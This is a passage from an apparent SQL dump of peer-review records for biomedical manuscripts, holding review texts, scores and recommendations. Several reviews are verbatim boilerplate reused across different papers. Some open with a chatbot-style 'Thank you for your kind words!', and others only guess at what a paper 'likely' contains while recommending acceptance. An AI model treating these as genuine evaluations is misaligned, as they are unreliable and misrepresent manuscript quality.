Selection:\r\n\r\nProvide information about the sample size and the criteria used for selecting patients. It\'s essential to ensure that the sample is representative of the population being tested.\r\nResults:\r\n\r\nPresent the results clearly and concisely. Utilize statistics, tables, or graphs when applicable.\r\nDiscuss the sensitivity, specificity, and accuracy of the GDH + Toxin A + Toxin B Combo Rapid Test Cassette in detecting CDI.','Accepted','2023-09-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5382,16786,14042,NULL,'5','g','y','y','y','The given manuscript regarding the “Revolutionizing COVID-19 diagnosis: unveiling CRISPR\'s superiority over PCR - A Systematic Review” has been well written and the figure and also points provided are of good quality and the information is effectively. The paper can be accepted for publication.','The given manuscript regarding the “Revolutionizing COVID-19 diagnosis: unveiling CRISPR\'s superiority over PCR - A Systematic Review” has been well written and the figure and also points provided are of good quality and the information is effectively. The paper can be accepted for publication.','2023-09-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5383,11715,14030,NULL,'5','g','y','y','y','Knowledge sharing among health professionals is a critical component of delivering high-quality healthcare and advancing medical science. Understanding the factors that influence knowledge sharing practices is essential for improving healthcare outcomes and fostering a culture of continuous learning and innovation. Here, we review some key aspects of knowledge sharing in the context of health professionals and the associated factors. \r\n Importance of Knowledge Sharing: Knowledge sharing is fundamental in the healthcare sector as it allows health professionals to stay updated on the latest medical advancements, share best practices, and collaborate effectively to deliver patient-centered care. It also contributes to research and the development of evidence-based practices.\r\n\r\n2. Organizational Culture: Organizational culture plays a pivotal role in knowledge sharing. Healthcare institutions that promote a culture of openness, trust, and collaboration tend to have more robust knowledge sharing practices. Leaders who actively support and encourage knowledge sharing create an environment where health professionals feel valued and motivated to share their expertise.\r\n\r\n3. Trust and Psychological Safety: Trust is paramount in knowledge sharing. Health professionals must trust their colleagues not to misuse or misconstrue the information they share. Psychological safety, where individuals feel safe to express ideas and opinions without fear of retribution, is equally crucial.','Accepted ','2023-09-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5384,14534,14047,NULL,'5','g','y','y','y','Here are some specific points I\'d like to highlight:\r\n\r\nThorough Research: The article demonstrates a commendable level of research and includes a wide range of sources to support the information presented. This lends credibility to the content.\r\n\r\nClear Structure: The article is well-structured, making it easy for readers to navigate and find the information they need. The introduction sets the stage effectively, and each subsequent section flows logically.\r\n\r\nBalanced Perspective: I appreciate that the article presents both the potential health benefits and limitations of cranberries. It\'s important to provide a balanced view of the topic, and this article succeeds in doing so.\r\n\r\nEngaging Language: The language used is engaging and accessible to a general audience. However, it might be beneficial to include more scientific terminology when discussing specific health studies for readers who want a deeper dive.\r\n\r\nVisual Aids: Consider adding some visual aids, such as charts, graphs, or images related to cranberries\' nutritional content or their effects on health. Visuals can enhance understanding and engagement.\r\n\r\nCitations and References: While the article includes citations, it would be helpful to provide links or a reference list at the end for readers who want to explore the source material further.\r\n\r\nOverall, this article is a valuable resource for those seeking information about the health benefits of cranberries. With a few minor improvements, it has the potential to be an even more authoritative and engaging piece of content.','Accepted','2023-09-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5385,21374,14058,NULL,'5','g','y','y','y','he article \"Air Pollution and Perceived Health Threats on the Students\' in Off-Campus Accommodation in Tertiary Institutions in Edo State, Nigeria\" presents a significant and timely study that addresses the health impact of air pollution on students in off-campus accommodations. The authors have made valuable contributions to the field, and I appreciate their efforts.\r\n\r\nThe article is generally well-structured, but some sections could benefit from improved clarity and organization. Ensure that the flow of information is smooth and that each section logically connects to the next\r\n\r\nThe conclusion effectively summarizes the key findings of the study. However, it would be valuable to discuss the broader implications of these findings, both in terms of policy recommendations and future research directions','Accepted ','2023-09-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5386,11162,14061,NULL,'5','g','y','y','y','Clear Objective: The study effectively addresses the physical activity and dietary practices of institutionalized adolescent students in hostels. The objective is well-defined and aligns with the research purpose.\r\n\r\nMethodology Clarity: The research methodology used for data collection is clearly outlined. However, it would be beneficial to provide more details about the data collection instruments and their validation, as this can impact the study\'s reliability.\r\n\r\nSample Size and Selection: It\'s important to ensure that the sample size is representative of the population being studied. The paper should include information about how the sample was selected and whether it is adequately diverse to draw meaningful conclusions.\r\n\r\nData Analysis: The paper should elaborate on the statistical methods used for data analysis. This is crucial to understand how the results were derived and to assess the validity of the findings.\r\n\r\nLimitations Acknowledgment: It\'s essential to acknowledge the limitations of the study. Discuss any potential sources of bias or constraints that may have affected the research outcomes.\r\n\r\nPractical Implications: The paper should explore the practical implications of the findings. How can the results be used to improve the physical activity and dietary practices of institutionalized adolescent students? Provide recommendations or suggestions.\r\n\r\nCitation and References: Ensure that all sources are properly cited and referenced according to the required style guide. This enhances the paper\'s credibility and allows readers to locate the cited works.\r\nOverall, the study has potential, but addressing the above points will enhance its quality and impact in the field of adolescent health and nutrition.','Accepted ','2023-09-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5387,21727,13834,NULL,'5','g','y','y','y','Thank you for your kind words! I\'m glad to hear that you found the title and write-up of the manuscript relevant and well articulated. \r\n1.Clear Title: The manuscript has a clear and relevant title that accurately reflects the content of the study.\r\n2.Concise Introduction: The introduction section of the manuscript provides sufficient information to establish the rationale for the study. \r\n3.Logical Flow: The manuscript follows a logical flow, allowing readers to easily understand the study\'s procedures. \r\n4.Sufficient Details: The manuscript presents enough details about the study design and procedures, ensuring readers can understand and replicate the research. \r\n5.Coherent Conclusion: The manuscript concludes with a coherent summary of the study\'s rationale and procedures. \r\nOverall, the manuscript effectively presents the study\'s rationale and procedures in a clear, concise, and well-structured manner.','','2023-10-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5388,21728,14053,NULL,'5','g','y','y','y','Thank you for your kind words! I\'m glad to hear that you found the title and write-up of the manuscript relevant and well articulated. \r\n1. Clear Title: The manuscript has a clear and relevant title that accurately reflects the content of the study.\r\n2. Concise Introduction: The introduction section of the manuscript provides sufficient information to establish the rationale for the study. \r\n3. Logical Flow: The manuscript follows a logical flow, allowing readers to easily understand the study\'s procedures. \r\n4. Sufficient Details: The manuscript presents enough details about the study design and procedures, ensuring readers can understand and replicate the research. \r\n5. Coherent Conclusion: The manuscript concludes with a coherent summary of the study\'s rationale and procedures. \r\nOverall, the manuscript effectively presents the study\'s rationale and procedures in a clear, concise, and well-structured manner.\r\n','','2023-10-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5389,21728,14056,NULL,'5','g','y','y','y','Thank you for your kind words! I\'m glad to hear that you found the title and write-up of the manuscript relevant and well articulated. \r\n1.Clear Title: The manuscript has a clear and relevant title that accurately reflects the content of the study.\r\n2.Concise Introduction: The introduction section of the manuscript provides sufficient information to establish the rationale for the study. \r\n3.Logical Flow: The manuscript follows a logical flow, allowing readers to easily understand the study\'s procedures. \r\n4.Sufficient Details: The manuscript presents enough details about the study design and procedures, ensuring readers can understand and replicate the research. \r\n5.Coherent Conclusion: The manuscript concludes with a coherent summary of the study\'s rationale and procedures. \r\nOverall, the manuscript effectively presents the study\'s rationale and procedures in a clear, concise, and well-structured manner.\r\n','','2023-10-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5390,11714,14089,NULL,'5','g','y','y','y','Your manuscript on the \'Incidence and risk factors of Trauma and Injury among Road Traffic Accident Patients in Wolayita Zone, Ethiopia: A Retrospective Cohort Study\' is well-structured and addresses a crucial public health issue. However, there are a few points that need attention:\r\n\r\nTitle Clarification: The title could be slightly revised for clarity. Consider specifying the type of trauma and injury you are focusing on. For example, \'Incidence and Risk Factors of Traumatic Injuries among Road Traffic Accident Patients...\'\r\n\r\nMethods Section: Please provide more details about the data collection methods and sources, including the timeframe of the study and the criteria for selecting patients. This will help readers better understand the study\'s scope and limitations.\r\n\r\nStatistical Analysis: Elaborate on the statistical methods used for data analysis. Provide information on the statistical software and any significance levels applied.\r\n\r\nDiscussion: In the discussion section, emphasize the implications of your findings in the context of public health policy and practice in Ethiopia.\r\n\r\nI encourage you to address these points in your revised manuscript. Overall, your research makes a valuable contribution to the understanding of trauma and injury incidence among road traffic accident patients in the Wolayita Zone. I look forward to reviewing the revised manuscript','Accept ','2023-10-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5391,10975,14104,NULL,'6','G','Y','S','N','1.Need a broader view on the topic, as well as expanding the number of participants in research.\r\n2. Review the native language.\r\n3. Adequate.','No comments, manuscript meets the minimum requirements for publication.','2023-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5392,10975,14101,NULL,'6','g','Y','N','Y','1.No comments.','No comments, suitable manuscript.','2023-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5393,10975,14073,NULL,'6','G','Y','Y','Y','No comments, suitable manuscript','No comments.','2023-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5394,10975,6873,NULL,'6','g','y','y','y','no comments, suitable manuscript, relevant and pertinent current topic.','No Comments.','2023-10-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5395,9909,14103,NULL,'4','R','Y','M','Y','Hello, I think this sentences are not correct: \"Man with his two limbs has the same balance problems.\" (in the PSYCHOMOTORIC REHABILITATION IN POSTURAL REHABILITATION) because in the person the balance is compensated by hear, eyes and proprioception (3 systems that are influencing), so in normal conditions, balance in a person is correct. \r\nThe sentence: \"There are two mechanisms by which regular training helps the immune system, the first is a short-term mechanism: exercise is believed to help the immune system to identify the pathogens to neutralize; the second mechanism is long-term: regular exercise slows down the natural aging process and the progressive reduction of the immune defenses it entails.\" maybe sustained by scientific evidence of some studies. ','Hello, I have not seen in the article the references of the bibliography. Maybe it would have to be some kind of numbers next to the sentences where the bibliography is referring to. ','2023-10-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5396,10975,14109,NULL,'5','g','y','y','y','The introduction provides an overview of the interconnection between HIV and cervical cancer, which is informative. However, it would be helpful to include a brief statement about the prevalence of cervical cancer in Kenya to establish the context more clearly.\r\nDetailed information on the data collection process, including the study design, instruments used, and data analysis methods, should be included.\r\nExplain the criteria for selecting HIV-negative young women as the target population.\r\nClarify the ethical considerations and consent procedures for the research\r\nThe findings present a clear increase in early screening of cervical cancer among HIV-positive women following the introduction of routine screening. However, it would be beneficial to provide more specific data, such as the actual percentages and numbers to support the 18% increase mentioned.','Accept','2023-10-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5397,14534,14111,NULL,'5','g','y','y','y','Policy on Routine Early Screening of Cancer of the Cervix and Treatment amongst HIV Positive is decreasing the Cancer Prevalence in Young Women at a Western Kenya Hospital,\" addresses an important intersection of healthcare issues and offers valuable insights. Here\'s a review comment:\r\n\r\nThe introduction could be more extensive, providing a more in-depth background about the prevalence of cervical cancer and HIV infection in the Western Kenya region. This context would help readers understand the importance and relevance of the policy.\r\n\r\nData and Methodology: The article would benefit from a more detailed description of the data sources and methodology used in the study. This would enhance the article\'s transparency and the ability for other researchers to replicate the study if needed\r\n\r\nEnsure that the references are up-to-date and relevant to the topic. This helps establish the article\'s credibility.\r\n\r\nIn conclusion, the article is a commendable effort to shed light on the vital issue of cervical cancer prevalence in HIV-positive young women in Western Kenya. it can become an even more informative and impactful contribution to the field of public health and healthcare policy','Accept','2023-10-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5398,12562,14093,NULL,'5','g','y','y','y','Your study on the effectiveness of Taxol and Prunella Vulgaris against the human lung cancer cell line-A549 is a significant contribution to the field of cancer research. The results presented in your research provide valuable insights into potential treatments for lung cancer. The methodology and data analysis appear to be sound, and the findings are promising.\r\n\r\nThe study investigating the efficacy of Taxol and Prunella Vulgaris against the human lung cancer cell line A549 presents valuable insights into potential therapeutic options for lung cancer treatment. \r\n\r\nThe study should clearly outline its objectives and the rationale behind choosing Taxol and Prunella Vulgaris as potential treatments for lung cancer. Additionally, a detailed description of the methods used to assess their efficacy is essential for clarity\r\nBackground and Rationale: Provide a more comprehensive introduction that outlines the current challenges in lung cancer treatment and the potential significance of Taxol and Prunella Vulgaris in addressing these challenges.\r\n\r\nMethodology: Describe the experimental procedures and cell culture conditions in greater detail. This will help readers better understand the reliability of your results and potentially replicate your study.\r\n\r\nResults Interpretation: Offer a more in-depth discussion of your findings, emphasizing the specific mechanisms by which Taxol and Prunella Vulgaris may affect A549 cells. This could strengthen the biological and clinical relevance of your results.','Accept this manuscript','2023-10-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5399,21729,13777,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-10-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5400,21676,13777,NULL,'5','g','y','y','y','Thank you for your kind words! I\'m glad to hear that you found the title and write-up of the manuscript relevant and well-articulated. \r\n1. Clear Title: The manuscript has a clear and relevant title that accurately reflects the content of the study.\r\n2. Concise Introduction: The introduction section of the manuscript provides sufficient information to establish the rationale for the study. \r\n3. Logical Flow: The manuscript follows a logical flow, allowing readers to easily understand the study\'s procedures. \r\n4. Sufficient Details: The manuscript presents enough details about the study design and procedures, ensuring readers can understand and replicate the research. \r\n5. Coherent Conclusion: The manuscript concludes with a coherent summary of the study\'s rationale and procedures. \r\nOverall, the manuscript effectively presents the study\'s rationale and procedures in a clear, concise, and well-structured manner.\r\n','','2023-10-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5401,10976,14105,NULL,'5','g','y','y','y','Continuous epidural anesthesia is a widely used technique for managing pain and providing anesthesia during labor, surgeries, and post-operative care. However, it\'s essential to understand the potential major complications associated with this procedure. \r\n\r\n One of the most common complications associated with epidural anesthesia is a drop in blood pressure. This occurs because the anesthetic can affect sympathetic nerves, causing dilation of blood vessels, which can lead to a decrease in blood pressure. \r\n\r\nThe comprehensive nature of the article and the valuable content it provides make it a well-written piece, beneficial and informative for its readers.','Accepted','2023-10-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5402,10976,14085,NULL,'5','g','y','y','y','This study on \'Candiduria in Patients Visiting Kathmandu\' presents valuable insights into a concerning health issue. The focus on this specific geographical area provides a localized perspective that could offer significant contributions to understanding the prevalence, risk factors, and management of candiduria. It would be beneficial to explore the demographics, potential causes, and treatment outcomes within this context to provide a more comprehensive understanding of the issue.\r\n','This study on \'Candiduria in Patients Visiting Kathmandu\' presents valuable insights into a concerning health issue. The focus on this specific geographical area provides a localized perspective that could offer significant contributions to understanding the prevalence, risk factors, and management of candiduria. It would be beneficial to explore the demographics, potential causes, and treatment outcomes within this context to provide a more comprehensive understanding of the issue.','2023-10-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5403,17406,14059,NULL,'6','G','Y','Y','N','According  to  the overview of the article, The author  has studied about the preeclampsia disease which have been seen in many pregnancy women. Which is  characterised by elevated blood pressure and proteinuria with the clinical manifestation known to likely occur, during the 20th week of gestation and relapse post delivery. PE is of mainly 2 types : Early onset PE –it occurs before 34 weeks of gestation, Late onset PE – it occurs after 34 weeks of gestation. Preeclampsia incidents are worldwide as the author explained the distribution and incidence, clinical diagnosis, the increasing  rate of womens risk factors etc. PE is a multisystem disorder, where  it affects 2%-5% of pregnant women. The treatment of this Preeclampsia is still on researching. While biomarkers are potentially used  as dectecting of preeclampsia  from  onset, which further may reduce and prevent from foetal mortality. I suggest to publish this article in your journal.','I highly recommend this study for publication. I emphatically prescribe this paper to be published in the Journal of Biomedical Sciences','2023-11-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5404,17406,14081,NULL,'6','G','Y','Y','N','I went through your paper, which is so much informative, it is useful for further researchers,\r\nI am totally impressed with you paper, there is no errors in this paper you can publish it with undoubtedly.\r\n','I highly recommend this study for publication. I emphatically prescribe this paper to be published in the Journal of Biomedical Sciences','2023-11-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5405,16786,14284,NULL,'5','g','y','y','y','The given manuscript regarding the “Giant congenital paraovarian cyst presenting with dyspeptic symptoms” has been well written and the figure and also points provided are of good quality and the information is effectively. The paper can be accepted for publication.','The given manuscript regarding the “Giant congenital paraovarian cyst presenting with dyspeptic symptoms” has been well written and the figure and also points provided are of good quality and the information is effectively. The paper can be accepted for publication.','2023-11-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5406,11714,14096,NULL,'5','g','y','y','y','This article likely explores the willingness of households in the Tigray Region of Ethiopia to participate in community-based health insurance, the financial pooling mechanisms involved, and the factors associated with this willingness. It could delve into the economic, social, or healthcare-related determinants influencing households\' decisions to participate in such insurance schemes. The study might offer insights into the challenges, successes, or strategies employed in establishing and sustaining community-based health insurance in this specific region','Accepted','2023-11-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5407,21391,14157,NULL,'5','g','y','y','y','pandemic\'s impact on both health and economic facets. It likely involves analyzing the progression and severity of COVID-19 cases over time, allowing for a nuanced understanding of its implications on disability-adjusted years of life lost and the subsequent productivity loss within the affected population.\r\n\r\nThis approach presents an opportunity to delve deeper into the indirect effects of the virus, beyond mere mortality rates, by considering the long-term disabilities and the associated reduction in productivity among survivors. This nuanced perspective is crucial for policy-making, resource allocation, and healthcare planning to mitigate the comprehensive impact of the pandemic.\r\n\r\nHowever, it\'s essential to ensure robust data collection and methodology to accurately quantify DALYs and productivity loss. Additionally, acknowledging the limitations and uncertainties inherent in estimating such measures, especially within the context of a rapidly evolving pandemic, is crucial for the credibility of the study.\r\n\r\nOverall, the utilization of the hazard function approach to estimate the health and economic burden of COVID-19 in terms of DALYs and productivity loss in Delhi, India, presents a promising avenue for a comprehensive assessment of the pandemic\'s impact and can significantly contribute to informed decision-making and interventions.','Accept','2023-11-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5408,16786,14309,NULL,'5','g','y','y','y','The submitted manuscript pertaining to the \"Assessing the efficacy of ayurvedic therapeutic intervention in the management of Pakshaghata(Paraplegia)-A Case Study \" has been written nicely; the information is presented effectively, and the tables and points offered are of very good. The manuscript may be approved for publication.','The submitted manuscript pertaining to the \"Assessing the efficacy of ayurvedic therapeutic intervention in the management of Pakshaghata(Paraplegia)-A Case Study \" has been written nicely; the information is presented effectively, and the tables and points offered are of very good. The manuscript may be approved for publication.','2023-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5409,14534,14296,NULL,'5','g','y','y','y','This retrospective study delved into the prevalence and categorization of skin diseases through syndrome screening within public health institutions in Tigray, Northern Ethiopia. By analyzing past records and data, the research aimed to provide insights into the frequency and types of skin ailments prevalent in the region. Through syndrome screening, the study likely employed a systematic approach to classifying these diseases based on observed patterns and symptoms.\r\n\r\nThis research provides valuable insights into the landscape of dermatological conditions prevalent in the region. By analyzing historical data and employing syndrome screening techniques, the study offers a systematic approach to categorizing these ailments based on observed patterns and symptoms.','Accepted ','2023-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5410,11577,14307,NULL,'5','g','y','y','y','The study titled \"Prevalence of HIV and trends of ART Utilization among key and priority population in Tigray regional state, Northern Ethiopia 2019\" presents a comprehensive analysis of HIV prevalence and ART utilization among key and priority populations in a specific region of Ethiopia. The research delves into an area crucial for public health intervention and policy-making.\r\n\r\nStrengths:\r\n\r\nSignificance: The study addresses an important public health issue concerning HIV prevalence and ART utilization among key populations, contributing valuable insights to the field.\r\nGeographical Specificity: Focusing on Tigray regional state in Northern Ethiopia offers localized data, potentially useful for region-specific interventions.\r\nTrend Analysis: Analyzing trends in ART utilization provides a dynamic perspective on how interventions have evolved over time.\r\nAreas for Improvement:\r\n\r\nMethodological Clarity: Further elaboration on the research methodology, including sampling techniques and data collection methods, would enhance the paper\'s credibility and replicability.\r\nData Presentation: Ensuring clarity in presenting data tables, figures, and statistical analysis methods could aid readers in interpreting the findings more easily.\r\nDiscussion Depth: Expanding the discussion section to compare findings with existing literature and discussing implications for policy and practice would enrich the paper.\r\nOverall, the study addresses an important gap in the understanding of HIV prevalence and ART utilization among key populations in a specific region. Enhancing methodological clarity and deepening the discussion could strengthen the paper\'s impact and relevance to the field.\r\n\r\n\r\n\r\n\r\n\r\n','The study titled \"Prevalence of HIV and trends of ART Utilization among key and priority population in Tigray regional state, Northern Ethiopia 2019\" presents a comprehensive analysis of HIV prevalence and ART utilization among key and priority populations in a specific region of Ethiopia. The research delves into an area crucial for public health intervention and policy-making.\r\n\r\nStrengths:\r\n\r\nSignificance: The study addresses an important public health issue concerning HIV prevalence and ART utilization among key populations, contributing valuable insights to the field.\r\nGeographical Specificity: Focusing on Tigray regional state in Northern Ethiopia offers localized data, potentially useful for region-specific interventions.\r\nTrend Analysis: Analyzing trends in ART utilization provides a dynamic perspective on how interventions have evolved over time.\r\nAreas for Improvement:\r\n\r\nMethodological Clarity: Further elaboration on the research methodology, including sampling techniques and data collection methods, would enhance the paper\'s credibility and replicability.\r\nData Presentation: Ensuring clarity in presenting data tables, figures, and statistical analysis methods could aid readers in interpreting the findings more easily.\r\nDiscussion Depth: Expanding the discussion section to compare findings with existing literature and discussing implications for policy and practice would enrich the paper.\r\nOverall, the study addresses an important gap in the understanding of HIV prevalence and ART utilization among key populations in a specific region. Enhancing methodological clarity and deepening the discussion could strengthen the paper\'s impact and relevance to the field.\r\n\r\n\r\n\r\n\r\n\r\n','2023-12-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5411,9111,14022,NULL,'6','g','n','y','n','The review provides a thorough and insightful exploration of oncolytic virotherapy, shedding light on its remarkable progress as a cancer therapeutic approach. The focus on genetic manipulation and molecular biology techniques to enhance the efficacy and specificity of oncolytic viruses reflects the cutting-edge advancements in this field.\r\n\r\nThe acknowledgment of methodological flaws highlights the review\'s balanced perspective, recognizing the evolving nature of research in oncolytic virotherapy. The emphasis on combinatorial techniques, incorporating oncolytic virotherapy with established cancer treatments such as chemotherapy, CAR-T cell therapy, and immune checkpoint inhibitors, underscores the complexity of cancer treatment and the necessity for multifaceted approaches.\r\n\r\nThe detailed discussion on the role of autophagy in oncolytic virotherapy adds depth to the review, particularly in elucidating how modifications in the genetic sequence of oncolytic viruses can enhance cell-targeting efficacy. The incorporation of specific examples, such as the engineering of oncolytic adenovirus SG511-BECN, provides concrete evidence of the potential therapeutic benefits.\r\n\r\nFurthermore, the review delves into the regulation of immunogenic cell death through autophagy, showcasing its influence on various components of the immune system. The examination of studies, like the combination of oncolytic adenovirus with temozolomide, demonstrates the potential for synergistic effects in tumor reduction and immunogenic cell death induction.\r\n\r\nThe inclusion of diverse perspectives on the impact of autophagy on immunogenic cell death enriches the review, presenting a comprehensive view of the intricate interplay between oncolytic viruses, autophagy, and the immune response. The integration of specific molecular pathways, such as the E2F1-miR-7-EGFR pathway and the role of calreticulin in dendritic cell activation, contributes to a nuanced understanding of the mechanisms involved.\r\n\r\nIn conclusion, the review serves as a valuable resource for researchers and clinicians, offering a comprehensive overview of oncolytic virotherapy\'s current state and its potential in combination with other therapeutic modalities. The exploration of autophagy and immunogenic cell death provides a roadmap for future research avenues, highlighting the need for further studies to unravel the intricate interactions that could revolutionize cancer treatment strategies.','The article can published in estimated journal of clinical microbiology','2023-12-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5412,21732,12224,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5413,21733,14045,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5414,21733,14049,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5415,21733,14051,NULL,'4','g','t','t','t','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5416,10806,14334,NULL,'5','g','y','y','y','The submitted manuscript pertaining to the \"Chest Wall Tumor - An Unusual Presentation\" has been written nicely; the information is presented effectively, and the pictures and points offered are of very good. It is recommended that the manuscript be published without any more revisions.','The submitted manuscript pertaining to the \"Chest Wall Tumor - An Unusual Presentation\" has been written nicely; the information is presented effectively, and the pictures and points offered are of very good. It is recommended that the manuscript be published without any more revisions.','2023-12-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5417,21733,14050,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5418,21734,12739,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5419,21734,12742,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5420,21734,12758,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5421,21734,13184,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5422,21733,14046,NULL,'4','g','y','y','y','I have to appreciate the interest in selecting this specific topic also this manuscript provides more meaningful information to scientific researchers.\r\nThis manuscript is credit-worthy and hence it can be published in the journal.','Proceed with the publication.','2023-12-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5423,21666,14259,NULL,'6','G','N','Y','N','This in-depth analysis provides a thorough examination of the global landscape of cancer control, health research initiatives, and the pivotal role played by philanthropy. The manuscript delves into the intricate web of factors influencing the allocation of resources, financial tracking systems, and the dynamic interplay between communicable and non-communicable diseases.\r\n\r\nThe authors aptly highlight the critical importance of cross-country comparisons and global resource allocations, emphasizing the need for a concerted effort to address the rising burden of non-communicable diseases, particularly cancer. The focus on low and middle-income countries underscores the urgency of supporting health systems in these regions to achieve universal health coverage.\r\n\r\nThe integration of results and discussion seamlessly connects the dots between health investments and disability-adjusted life years, offering a compelling argument for the optimization of research resources. Special attention is given to non-communicable diseases, such as cancers, cardiovascular diseases, stroke, and mental health disorders, positioning them as key areas for crucial health 